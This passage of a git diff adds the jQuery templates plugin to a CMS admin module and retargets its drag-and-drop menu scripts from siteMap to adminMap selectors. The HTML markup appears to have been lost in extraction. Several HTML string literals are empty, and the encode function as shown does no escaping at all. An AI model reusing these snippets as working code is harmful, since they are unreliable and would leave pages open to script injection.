jQuery.tmpl( this[0], data, options, parentItem ); + }, + + // Find which rendered template item the first wrapped DOM element belongs to + tmplItem: function() { + return jQuery.tmplItem( this[0] ); + }, + + // Consider the first wrapped element as a template declaration, and get the compiled template or store it as a named template. + template: function( name ) { + return jQuery.template( name, this[0] ); + }, + + domManip: function( args, table, callback, options ) { + if ( args[0] && jQuery.isArray( args[0] )) { + var dmArgs = jQuery.makeArray( arguments ), elems = args[0], elemsLength = elems.length, i = 0, tmplItem; + while ( i < elemsLength && !(tmplItem = jQuery.data( elems[i++], "tmplItem" ))) {} + if ( tmplItem && cloneIndex ) { + dmArgs[2] = function( fragClone ) { + // Handler called by oldManip when rendered template has been inserted into DOM. + jQuery.tmpl.afterManip( this, fragClone, callback ); + }; + } + oldManip.apply( this, dmArgs ); + } else { + oldManip.apply( this, arguments ); + } + cloneIndex = 0; + if ( !appendToTmplItems ) { + jQuery.tmpl.complete( newTmplItems ); + } + return this; + } + }); + + jQuery.extend({ + // Return wrapped set of template items, obtained by rendering template against data. + tmpl: function( tmpl, data, options, parentItem ) { + var ret, topLevel = !parentItem; + if ( topLevel ) { + // This is a top-level tmpl call (not from a nested template using {{tmpl}}) + parentItem = topTmplItem; + tmpl = jQuery.template[tmpl] || jQuery.template( null, tmpl ); + wrappedItems = {}; // Any wrapped items will be rebuilt, since this is top level + } else if ( !tmpl ) { + // The template item is already associated with DOM - this is a refresh. + // Re-evaluate rendered template for the parentItem + tmpl = parentItem.tmpl; + newTmplItems[parentItem.key] = parentItem; + parentItem.nodes = []; + if ( parentItem.wrapped ) { + updateWrapped( parentItem, parentItem.wrapped ); + } + // Rebuild, without creating a new template item + return jQuery( build( parentItem, null, parentItem.tmpl( jQuery, parentItem ) )); + } + if ( !tmpl ) { + return []; // Could throw... + } + if ( typeof data === "function" ) { + data = data.call( parentItem || {} ); + } + if ( options && options.wrapped ) { + updateWrapped( options, options.wrapped ); + } + ret = jQuery.isArray( data ) ? + jQuery.map( data, function( dataItem ) { + return dataItem ? newTmplItem( options, parentItem, tmpl, dataItem ) : null; + }) : + [ newTmplItem( options, parentItem, tmpl, data ) ]; + return topLevel ? jQuery( build( parentItem, null, ret ) ) : ret; + }, + + // Return rendered template item for an element. + tmplItem: function( elem ) { + var tmplItem; + if ( elem instanceof jQuery ) { + elem = elem[0]; + } + while ( elem && elem.nodeType === 1 && !(tmplItem = jQuery.data( elem, "tmplItem" )) && (elem = elem.parentNode) ) {} + return tmplItem || topTmplItem; + }, + + // Set: + // Use $.template( name, tmpl ) to cache a named template, + // where tmpl is a template string, a script element or a jQuery instance wrapping a script element, etc. + // Use $( "selector" ).template( name ) to provide access by name to a script block template declaration. + + // Get: + // Use $.template( name ) to access a cached template. + // Also $( selectorToScriptBlock ).template(), or $.template( null, templateString ) + // will return the compiled template, without adding a name reference. + // If templateString includes at least one HTML tag, $.template( templateString ) is equivalent + // to $.template( null, templateString ) + template: function( name, tmpl ) { + if (tmpl) { + // Compile template and associate with name + if ( typeof tmpl === "string" ) { + // This is an HTML string being passed directly in. + tmpl = buildTmplFn( tmpl ); + } else if ( tmpl instanceof jQuery ) { + tmpl = tmpl[0] || {}; + } + if ( tmpl.nodeType ) { + // If this is a template block, use cached copy, or generate tmpl function and cache. + tmpl = jQuery.data( tmpl, "tmpl" ) || jQuery.data( tmpl, "tmpl", buildTmplFn( tmpl.innerHTML )); + // Issue: In IE, if the container element is not a script block, the innerHTML will remove quotes from attribute values whenever the value does not include white space. + // This means that foo="${x}" will not work if the value of x includes white space: foo="${x}" -> foo=value of x. + // To correct this, include space in tag: foo="${ x }" -> foo="value of x" + } + return typeof name === "string" ? (jQuery.template[name] = tmpl) : tmpl; + } + // Return named compiled template + return name ? (typeof name !== "string" ? jQuery.template( null, name ): + (jQuery.template[name] || + // If not in map, and not containing at least on HTML tag, treat as a selector. + // (If integrated with core, use quickExpr.exec) + jQuery.template( null, htmlExpr.test( name ) ? name : jQuery( name )))) : null; + }, + + encode: function( text ) { + // Do HTML encoding replacing < > & and ' and " by corresponding entities. + return ("" + text).split("<").join("<").split(">").join(">").split('"').join(""").split("'").join("'"); + } + }); + + jQuery.extend( jQuery.tmpl, { + tag: { + "tmpl": { + _default: { $2: "null" }, + open: "if($notnull_1){__=__.concat($item.nest($1,$2));}" + // tmpl target parameter can be of type function, so use $1, not $1a (so not auto detection of functions) + // This means that {{tmpl foo}} treats foo as a template (which IS a function). + // Explicit parens can be used if foo is a function that returns a template: {{tmpl foo()}}. + }, + "wrap": { + _default: { $2: "null" }, + open: "$item.calls(__,$1,$2);__=[];", + close: "call=$item.calls();__=call._.concat($item.wrap(call,__));" + }, + "each": { + _default: { $2: "$index, $value" }, + open: "if($notnull_1){$.each($1a,function($2){with(this){", + close: "}});}" + }, + "if": { + open: "if(($notnull_1) && $1a){", + close: "}" + }, + "else": { + _default: { $1: "true" }, + open: "}else if(($notnull_1) && $1a){" + }, + "html": { + // Unecoded expression evaluation. + open: "if($notnull_1){__.push($1a);}" + }, + "=": { + // Encoded expression evaluation. Abbreviated form is ${}. + _default: { $1: "$data" }, + open: "if($notnull_1){__.push($.encode($1a));}" + }, + "!": { + // Comment tag. Skipped by parser + open: "" + } + }, + + // This stub can be overridden, e.g. in jquery.tmplPlus for providing rendered events + complete: function( items ) { + newTmplItems = {}; + }, + + // Call this from code which overrides domManip, or equivalent + // Manage cloning/storing template items etc. + afterManip: function afterManip( elem, fragClone, callback ) { + // Provides cloned fragment ready for fixup prior to and after insertion into DOM + var content = fragClone.nodeType === 11 ? + jQuery.makeArray(fragClone.childNodes) : + fragClone.nodeType === 1 ? [fragClone] : []; + + // Return fragment to original caller (e.g. append) for DOM insertion + callback.call( elem, fragClone ); + + // Fragment has been inserted:- Add inserted nodes to tmplItem data structure. Replace inserted element annotations by jQuery.data. + storeTmplItems( content ); + cloneIndex++; + } + }); + + //========================== Private helper functions, used by code above ========================== + + function build( tmplItem, nested, content ) { + // Convert hierarchical content into flat string array + // and finally return array of fragments ready for DOM insertion + var frag, ret = content ? jQuery.map( content, function( item ) { + return (typeof item === "string") ? + // Insert template item annotations, to be converted to jQuery.data( "tmplItem" ) when elems are inserted into DOM. + (tmplItem.key ? item.replace( /(<\w+)(?=[\s>])(?![^>]*_tmplitem)([^>]*)/g, "$1 " + tmplItmAtt + "=\"" + tmplItem.key + "\" $2" ) : item) : + // This is a child template item. Build nested template. + build( item, tmplItem, item._ctnt ); + }) : + // If content is not defined, insert tmplItem directly. Not a template item. May be a string, or a string array, e.g. from {{html $item.html()}}. + tmplItem; + if ( nested ) { + return ret; + } + + // top-level template + ret = ret.join(""); + + // Support templates which have initial or final text nodes, or consist only of text + // Also support HTML entities within the HTML markup. + ret.replace( /^\s*([^<\s][^<]*)?(<[\w\W]+>)([^>]*[^>\s])?\s*$/, function( all, before, middle, after) { + frag = jQuery( middle ).get(); + + storeTmplItems( frag ); + if ( before ) { + frag = unencode( before ).concat(frag); + } + if ( after ) { + frag = frag.concat(unencode( after )); + } + }); + return frag ? frag : unencode( ret ); + } + + function unencode( text ) { + // Use createElement, since createTextNode will not render HTML entities correctly + var el = document.createElement( "div" ); + el.innerHTML = text; + return jQuery.makeArray(el.childNodes); + } + + // Generate a reusable function that will serve to render a template against data + function buildTmplFn( markup ) { + return new Function("jQuery","$item", + // Use the variable __ to hold a string array while building the compiled template. (See https://github.com/jquery/jquery-tmpl/issues#issue/10). + "var $=jQuery,call,__=[],$data=$item.data;" + + + // Introduce the data as local variables using with(){} + "with($data){__.push('" + + + // Convert the template into pure JavaScript + jQuery.trim(markup) + .replace( /([\\'])/g, "\\$1" ) + .replace( /[\r\t\n]/g, " " ) + .replace( /\$\{([^\}]*)\}/g, "{{= $1}}" ) + .replace( /\{\{(\/?)(\w+|.)(?:\(((?:[^\}]|\}(?!\}))*?)?\))?(?:\s+(.*?)?)?(\(((?:[^\}]|\}(?!\}))*?)\))?\s*\}\}/g, + function( all, slash, type, fnargs, target, parens, args ) { + var tag = jQuery.tmpl.tag[ type ], def, expr, exprAutoFnDetect; + if ( !tag ) { + throw "Unknown template tag: " + type; + } + def = tag._default || []; + if ( parens && !/\w$/.test(target)) { + target += parens; + parens = ""; + } + if ( target ) { + target = unescape( target ); + args = args ? ("," + unescape( args ) + ")") : (parens ? ")" : ""); + // Support for target being things like a.toLowerCase(); + // In that case don't call with template item as 'this' pointer. Just evaluate... + expr = parens ? (target.indexOf(".") > -1 ? target + unescape( parens ) : ("(" + target + ").call($item" + args)) : target; + exprAutoFnDetect = parens ? expr : "(typeof(" + target + ")==='function'?(" + target + ").call($item):(" + target + "))"; + } else { + exprAutoFnDetect = expr = def.$1 || "null"; + } + fnargs = unescape( fnargs ); + return "');" + + tag[ slash ? "close" : "open" ] + .split( "$notnull_1" ).join( target ? "typeof(" + target + ")!=='undefined' && (" + target + ")!=null" : "true" ) + .split( "$1a" ).join( exprAutoFnDetect ) + .split( "$1" ).join( expr ) + .split( "$2" ).join( fnargs || def.$2 || "" ) + + "__.push('"; + }) + + "');}return __;" + ); + } + function updateWrapped( options, wrapped ) { + // Build the wrapped content. + options._wrap = build( options, true, + // Suport imperative scenario in which options.wrapped can be set to a selector or an HTML string. + jQuery.isArray( wrapped ) ? wrapped : [htmlExpr.test( wrapped ) ? wrapped : jQuery( wrapped ).html()] + ).join(""); + } + + function unescape( args ) { + return args ? args.replace( /\\'/g, "'").replace(/\\\\/g, "\\" ) : null; + } + function outerHtml( elem ) { + var div = document.createElement("div"); + div.appendChild( elem.cloneNode(true) ); + return div.innerHTML; + } + + // Store template items in jQuery.data(), ensuring a unique tmplItem data data structure for each rendered template instance. + function storeTmplItems( content ) { + var keySuffix = "_" + cloneIndex, elem, elems, newClonedItems = {}, i, l, m; + for ( i = 0, l = content.length; i < l; i++ ) { + if ( (elem = content[i]).nodeType !== 1 ) { + continue; + } + elems = elem.getElementsByTagName("*"); + for ( m = elems.length - 1; m >= 0; m-- ) { + processItemKey( elems[m] ); + } + processItemKey( elem ); + } + function processItemKey( el ) { + var pntKey, pntNode = el, pntItem, tmplItem, key; + // Ensure that each rendered template inserted into the DOM has its own template item, + if ( (key = el.getAttribute( tmplItmAtt ))) { + while ( pntNode.parentNode && (pntNode = pntNode.parentNode).nodeType === 1 && !(pntKey = pntNode.getAttribute( tmplItmAtt ))) { } + if ( pntKey !== key ) { + // The next ancestor with a _tmplitem expando is on a different key than this one. + // So this is a top-level element within this template item + // Set pntNode to the key of the parentNode, or to 0 if pntNode.parentNode is null, or pntNode is a fragment. + pntNode = pntNode.parentNode ? (pntNode.nodeType === 11 ? 0 : (pntNode.getAttribute( tmplItmAtt ) || 0)) : 0; + if ( !(tmplItem = newTmplItems[key]) ) { + // The item is for wrapped content, and was copied from the temporary parent wrappedItem. + tmplItem = wrappedItems[key]; + tmplItem = newTmplItem( tmplItem, newTmplItems[pntNode]||wrappedItems[pntNode] ); + tmplItem.key = ++itemKey; + newTmplItems[itemKey] = tmplItem; + } + if ( cloneIndex ) { + cloneTmplItem( key ); + } + } + el.removeAttribute( tmplItmAtt ); + } else if ( cloneIndex && (tmplItem = jQuery.data( el, "tmplItem" )) ) { + // This was a rendered element, cloned during append or appendTo etc. + // TmplItem stored in jQuery data has already been cloned in cloneCopyEvent. We must replace it with a fresh cloned tmplItem. + cloneTmplItem( tmplItem.key ); + newTmplItems[tmplItem.key] = tmplItem; + pntNode = jQuery.data( el.parentNode, "tmplItem" ); + pntNode = pntNode ? pntNode.key : 0; + } + if ( tmplItem ) { + pntItem = tmplItem; + // Find the template item of the parent element. + // (Using !=, not !==, since pntItem.key is number, and pntNode may be a string) + while ( pntItem && pntItem.key != pntNode ) { + // Add this element as a top-level node for this rendered template item, as well as for any + // ancestor items between this item and the item of its parent element + pntItem.nodes.push( el ); + pntItem = pntItem.parent; + } + // Delete content built during rendering - reduce API surface area and memory use, and avoid exposing of stale data after rendering... + delete tmplItem._ctnt; + delete tmplItem._wrap; + // Store template item as jQuery data on the element + jQuery.data( el, "tmplItem", tmplItem ); + } + function cloneTmplItem( key ) { + key = key + keySuffix; + tmplItem = newClonedItems[key] = + (newClonedItems[key] || newTmplItem( tmplItem, newTmplItems[tmplItem.parent.key + keySuffix] || tmplItem.parent )); + } + } + } + + //---- Helper functions for template item ---- + + function tiCalls( content, tmpl, data, options ) { + if ( !content ) { + return stack.pop(); + } + stack.push({ _: content, tmpl: tmpl, item:this, data: data, options: options }); + } + + function tiNest( tmpl, data, options ) { + // nested template, using {{tmpl}} tag + return jQuery.tmpl( jQuery.template( tmpl ), data, options, this ); + } + + function tiWrap( call, wrapped ) { + // nested template, using {{wrap}} tag + var options = call.options || {}; + options.wrapped = wrapped; + // Apply the template, which may incorporate wrapped content, + return jQuery.tmpl( jQuery.template( call.tmpl ), call.data, options, call.item ); + } + + function tiHtml( filter, textOnly ) { + var wrapped = this._wrap; + return jQuery.map( + jQuery( jQuery.isArray( wrapped ) ? wrapped.join("") : wrapped ).filter( filter || "*" ), + function(e) { + return textOnly ? + e.innerText || e.textContent : + e.outerHTML || outerHtml(e); + }); + } + + function tiUpdate() { + var coll = this.nodes; + jQuery.tmpl( null, null, null, this).insertBefore( coll[0] ); + jQuery( coll ).remove(); + } +})( jQuery ); diff --git a/modules/admin/tpl/js/menu_setup.js b/modules/admin/tpl/js/menu_setup.js index 6a28582ee..855dc90b2 100644 --- a/modules/admin/tpl/js/menu_setup.js +++ b/modules/admin/tpl/js/menu_setup.js @@ -51,7 +51,7 @@ jQuery(function($){ // menu - drag and drop jQuery(function($){ -$('form.siteMap') +$('form.adminMap') .delegate('li:not(.placeholder)', 'dropped.st', function() { var $this = $(this), $pkey, $mkey, is_child; @@ -69,7 +69,7 @@ var dragging = false, $holder = $('
                            • '); -$('div.adminMenu') +$('form.adminMap>ul') .delegate('li:not(.placeholder,.parent)', { 'mousedown.st' : function(event) { var $this, $uls, $ul, width, height, offset, position, offsets, i, dropzone, wrapper=''; @@ -81,11 +81,9 @@ $('div.adminMenu') $this = $(this); height = $this.height(); width = $this.width(); - $uls = $this.parentsUntil('.siteMap').filter('ul'); + $uls = $this.parentsUntil('.adminMap').filter('ul'); $ul = $uls.eq(-1); - $ul.css('position', 'relative'); - position = {x:event.pageX, y:event.pageY}; offset = getOffset(this, $ul.get(0)); @@ -207,12 +205,9 @@ $('div.adminMenu') return false; } }) - .find('li') - .prepend('') - .filter('.parent') - .find('>button.moveTo').css({'visibility':'hidden','margin-left':'-12px'}).end() - .end() - .end() + .find('li li') + .prepend('').end() + .end(); $('
                              ') .css({display:'none',position:'absolute',backgroundColor:'#000',opacity:0.7}) diff --git a/modules/admin/tpl/js/menu_setup.min.js b/modules/admin/tpl/js/menu_setup.min.js index c4b9f58e9..caea5b8de 100644 --- a/modules/admin/tpl/js/menu_setup.min.js +++ b/modules/admin/tpl/js/menu_setup.min.js @@ -1,8 +1,7 @@ -jQuery(function(b){function k(a){if(moduleList=a.menuList){var c=b("#menuNameList"),e;for(e in moduleList){var f=moduleList[e],a=b('').appendTo(c),d;for(d in f)a.append('")}}}var d,h=b("#editForm"),a=b("#listForm");b("a._add").click(function(){d=b(this).parent().prevAll("._item_key").val();h.find("input[name=parent_srl]").val(d);exec_xml("menu","procMenuAdminAllActList",[],k,["menuList"])});b("a._parent_delete").click(function(){var i= -b(this).parent().prevAll("._parent_key").val();a.find("input[name=menu_item_srl]").val(i);a.submit()});b("a._child_delete").click(function(){var i=b(this).parents("li").find("._item_key").val();a.find("input[name=menu_item_srl]").val(i);a.submit()})}); -jQuery(function(b){function k(a,b){for(var c=0,e=0;a&&a!=b;)c+=a.offsetTop,e+=a.offsetLeft,a=a.offsetParent;return{top:c,left:e}}b("form.siteMap").delegate("li:not(.placeholder)","dropped.st",function(){var a=b(this),d;d=a.find(">input._parent_key");a.parent("ul").parent("li").length?d.val(a.parent("ul").parent("li").find(">input._item_key").val()):d.val("0")});var d=!1,h=b('
                            • ');b("div.adminMenu").delegate("li:not(.placeholder,.parent)",{"mousedown.st":function(a){var i,c,e, -f,m,n,j,l,g;if(!(b(a.target).is("a,input,label,textarea")||1!=a.which)){d=!0;c=b(this);n=c.height();m=c.width();e=c.parentsUntil(".siteMap").filter("ul");f=e.eq(-1);f.css("position","relative");i=a.pageY;j=k(this,f.get(0));$clone=c.clone(!0).attr("target",!0);for(a=e.length-1;a;a--)$clone=$clone.wrap("
                              • ").parent().parent();l=[];f.find("li").each(function(){if(c[0]===this||c.has(this).length)return!0;var a=k(this,f.get(0));l.push({top:a.top,bottom:a.top+32,$item:b(this)})});$clone.find(".side,input").remove().end().addClass("draggable").css({position:"absolute", -opacity:0.6,width:m,height:n,left:j.left,top:j.top,zIndex:100}).appendTo(f.eq(0));h.css({position:"absolute",opacity:0.6,width:m,height:"10px",left:j.left,top:j.top,zIndex:99}).appendTo(f.eq(0));c.css("opacity",0.6);b(document).unbind("mousemove.st mouseup.st").bind("mousemove.st",function(a){var b,c,d;g=null;a=j.top-(i-a.pageY);b=0;for(c=l.length;ba||d.bottoma-12?(g.state="before", +jQuery(function(b){function l(a){if(moduleList=a.menuList){var c=b("#menuNameList"),e;for(e in moduleList){var f=moduleList[e];a=b('').appendTo(c);for(var d in f)a.append('")}}}var d,h=b("#editForm"),a=b("#listForm");b("a._add").click(function(){d=b(this).parent().prevAll("._item_key").val();h.find("input[name=parent_srl]").val(d);exec_xml("menu","procMenuAdminAllActList",[],l,["menuList"])});b("a._parent_delete").click(function(){var j= +b(this).parent().prevAll("._parent_key").val();a.find("input[name=menu_item_srl]").val(j);a.submit()});b("a._child_delete").click(function(){var j=b(this).parents("li").find("._item_key").val();a.find("input[name=menu_item_srl]").val(j);a.submit()})}); +jQuery(function(b){function l(a,b){for(var c=0,e=0;a&&a!=b;)c+=a.offsetTop,e+=a.offsetLeft,a=a.offsetParent;return{top:c,left:e}}b("form.adminMap").delegate("li:not(.placeholder)","dropped.st",function(){var a=b(this),d;d=a.find(">input._parent_key");a.parent("ul").parent("li").length?d.val(a.parent("ul").parent("li").find(">input._item_key").val()):d.val("0")});var d=!1,h=b('
                              • ');b("form.adminMap>ul").delegate("li:not(.placeholder,.parent)",{"mousedown.st":function(a){var j, +c,e,f,n,p,k,m,g;if(!(b(a.target).is("a,input,label,textarea")||1!=a.which)){d=!0;c=b(this);p=c.height();n=c.width();e=c.parentsUntil(".adminMap").filter("ul");f=e.eq(-1);j=a.pageY;k=l(this,f.get(0));$clone=c.clone(!0).attr("target",!0);for(a=e.length-1;a;a--)$clone=$clone.wrap("
                                • ").parent().parent();m=[];f.find("li").each(function(){if(c[0]===this||c.has(this).length)return!0;var a=l(this,f.get(0));m.push({top:a.top,bottom:a.top+32,$item:b(this)})});$clone.find(".side,input").remove().end().addClass("draggable").css({position:"absolute", +opacity:0.6,width:n,height:p,left:k.left,top:k.top,zIndex:100}).appendTo(f.eq(0));h.css({position:"absolute",opacity:0.6,width:n,height:"10px",left:k.left,top:k.top,zIndex:99}).appendTo(f.eq(0));c.css("opacity",0.6);b(document).unbind("mousemove.st mouseup.st").bind("mousemove.st",function(a){var b,c,d;g=null;a=k.top-(j-a.pageY);b=0;for(c=m.length;ba||d.bottoma-12?(g.state="before", h.css("top",d.top-5)):(g.state="after",h.css("top",d.bottom-5)));$clone.css({top:a})}).bind("mouseup.st",function(){var a,e;d=!1;b(document).unbind("mousemove.st mouseup.st");c.css("opacity","");$clone.remove();h.remove();e=b("
                                • ").height(c.height());if(g){a=b(g.element);c.before(e);if("prepend"==g.state)a.find(">ul").length||a.find(">.side").after("
                                    "),a.find(">ul").prepend(c.hide());else a[g.state](c.hide());c.slideDown(100,function(){c.removeClass("active")});e.slideUp(100,function(){var a= -e.parent();e.remove();a.children("li").length||a.remove()});c.trigger("dropped.st")}});return!1}},"mouseover.st":function(){d||b(this).addClass("active");return!1},"mouseout.st":function(){d||b(this).removeClass("active");return!1}}).find("li").prepend('').filter(".parent").find(">button.moveTo").css({visibility:"hidden","margin-left":"-12px"}).end().end().end();b('
                                    ').css({display:"none",position:"absolute",backgroundColor:"#000", -opacity:0.7}).appendTo("body")}); +e.parent();e.remove();a.children("li").length||a.remove()});c.trigger("dropped.st")}});return!1}},"mouseover.st":function(){d||b(this).addClass("active");return!1},"mouseout.st":function(){d||b(this).removeClass("active");return!1}}).find("li li").prepend('').end().end();b('
                                    ').css({display:"none",position:"absolute",backgroundColor:"#000",opacity:0.7}).appendTo("body")}); diff --git a/modules/admin/tpl/js/sitemap.min.js b/modules/admin/tpl/js/sitemap.min.js index 16c3a971f..bd20314fb 100644 --- a/modules/admin/tpl/js/sitemap.min.js +++ b/modules/admin/tpl/js/sitemap.min.js @@ -1,6 +1,6 @@ -jQuery(function(c){function p(a,c){for(var b=0,g=0;a&&a!=c;)b+=a.offsetTop,g+=a.offsetLeft,a=a.offsetParent;return{top:b,left:g}}var l=!1,k=c('
                                  • ');c("form.siteMap").delegate("li:not(.placeholder)",{"mousedown.st":function(a){var d,b,g,h,n,q,i,m,j;if(!(c(a.target).is("a,input,label,textarea")||1!=a.which)){l=!0;b=c(this);q=b.height();n=b.width();g=b.parentsUntil(".siteMap").filter("ul");h=g.eq(-1);h.css("position","relative");d=a.pageY;i=p(this,h.get(0));$clone=b.clone(!0).attr("target", -!0);for(a=g.length-1;a;a--)$clone=$clone.wrap("
                                    • ").parent().parent();m=[];h.find("li").each(function(){if(b[0]===this||b.has(this).length)return!0;var a=p(this,h.get(0));m.push({top:a.top,bottom:a.top+32,item:this})});$clone.find(".side,input").remove().end().addClass("draggable").css({position:"absolute",opacity:0.6,width:n,height:q,left:i.left,top:i.top,zIndex:100}).appendTo(h.eq(0));k.css({position:"absolute",opacity:0.6,width:n,height:"5px",left:i.left,top:i.top,zIndex:99}).appendTo(h.eq(0)); -b.css("opacity",0.6);c(document).unbind("mousemove.st mouseup.st").bind("mousemove.st",function(a){var b,c,e,f;j=null;a=i.top-(d-a.pageY);b=0;for(c=m.length;be.bottom&&(f=e.bottom),e.top<=f&&e.bottom>=f){b=e.item;3>=Math.abs(e.top-f)?(k.css({top:e.top-3,height:"5px"}),f="before"):3>=Math.abs(e.bottom-f)?(k.css({top:e.bottom-3,height:"5px"}),f="after"):(k.css({top:e.top+3,height:"27px"}),f="prepend");j={element:b,state:f};break}$clone.css({top:a})}).bind("mouseup.st", -function(){var a,d;l=!1;c(document).unbind("mousemove.st mouseup.st");b.css("opacity","");$clone.remove();k.remove();d=c("
                                    • ").height(b.height());if(j){a=c(j.element);b.before(d);if("prepend"==j.state)a.find(">ul").length||a.find(">.side").after("
                                        "),a.find(">ul").prepend(b.hide());else a[j.state](b.hide());b.slideDown(100,function(){b.removeClass("active")});d.slideUp(100,function(){var a=d.parent();d.remove();a.children("li").length||a.remove()});b.trigger("dropped.st")}});return!1}},"mouseover.st":function(){l|| -c(this).addClass("active");return!1},"mouseout.st":function(){l||c(this).removeClass("active");return!1}}).find("li").prepend('').append('').find("input:text").focus(function(){var a=c(this),d=a.prev("label"),b=a.parent();a.width(b.width()-(parseInt(b.css("text-indent"))||0)-a.next(".side").width()-60).css("opacity","");d.hide()}).blur(function(){var a=c(this),d=a.prev("label"),b=a.val();a.width(0).css("opacity", -0);d.removeClass("no-text").empty().text(b).show();b||d.addClass("no-text").text("---")}).each(function(a){var d=c(this),a="sitemap-id-"+a;d.attr("id",a).css({width:0,opacity:0,overflow:"hidden"}).before("
                                  • + +
                            • -